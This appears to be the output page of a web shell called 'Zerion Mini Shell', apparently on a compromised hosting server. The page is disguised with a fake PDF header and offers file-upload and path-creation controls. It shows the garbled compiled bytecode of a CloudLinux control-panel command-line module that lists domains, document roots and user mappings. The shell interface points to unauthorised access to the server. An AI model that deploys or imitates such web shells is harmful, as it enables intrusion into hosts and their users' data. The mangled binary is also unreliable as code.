%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/clcommon/cpapi/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/clcommon/cpapi/__pycache__/clcpapi.cpython-37.pyc

B

`�1b��@s�dZddlmZddlmZddlmZddlZddlmZddlm	Z	m
Z
ddlmZd	d
�Z
ddd
�Zdd�Zedkr�ddlZe�\ZZer�ee�er�e�e�dS)z5
CloudLinux control panel API command line interface
�)�print_function)�absolute_import)�divisionN)�cpapi)�prepare_data_json�prepare_attention_json)�cpapiexceptionscCs�tjdd�}|jdddddd�|jd	d
�}|�d�}|jdd
d�|�d�}|jddd�|�d�}|jdddd�|jddddd�|jddd�}|jdtddd�|S)Nz>%(prog)s - CloudLinux control panel API command line interface)�descriptionz-jz--json�
store_trueFzOutput in json format)�action�default�help�command)�dest�docroot�domainzReturn document root for domain)r
�userdomainsz<Return domain and document root pairs for control panel user�dblogin_cplogin_pairsz
--cplogin_lst�*z$Return mapping for this system users)�nargsr
z--with_system_userszShow system users in outputzreseller-userszShow reseller users�resellername�?z
Reseller name)�typerr
)�argparse�ArgumentParser�add_argumentZadd_subparsersZ
add_parser�str)�parserZ
subparsersZdocroot_parserZuserdomains_parserZdblogin_cplogin_pairs_parser�reseller_users�r�G/opt/alt/python37/lib/python3.7/site-packages/clcommon/cpapi/clcpapi.py�cpapi_parsers$



r!� csd��fdd�|D��S)N�
csg|]}��|��qSr)�join)�.0Ztuple_)�seprr �
<listcomp>0szflat_plain.<locals>.<listcomp>)r$)�datar&r)r&r �
flat_plain/sr)c
CsPt�}|��}d}d}y�|jdkrVt�|j�\}}|jrHt||d��}q�|d|}n�|jdkr�t�|j�}|jr�dd�|D�}t|�}q�t	|�}nd|jdkr�t�
|j|j�}|jr�t|�}q�t	|�}n0|jd	kr�t�
|j�}	|jr�t|	�}n
d
�|	�}WnLtjk
�rF}
z*|j�r&tt|
��}nd}dt|
�}Wdd}
~
XYnX||fS)
Nrr)r�userr"rcSsg|]}|d|dd��qS)r�)rrr)r%Zdomain_docrootrrr r'Bszmain.<locals>.<listcomp>rzreseller-usersr#r+zERROR: )r!�
parse_argsrrrrZjsonrrr)rZcplogin_lstZwith_system_usersrrr$rZCPAPIExceptionrr)r�	namespace�output_�	exit_coderr*Zdomain_docroot_pairsr(Z
db_mappingZusersZe_rrr �main3sD








r0�__main__)r")�__doc__Z
__future__rrrrZclcommonrZclcommon.cloutputrrZclcommon.cpapirr!r)r0�__name__�sysr.r/�print�exitrrrr �<module>s"
,


Zerion Mini Shell 1.0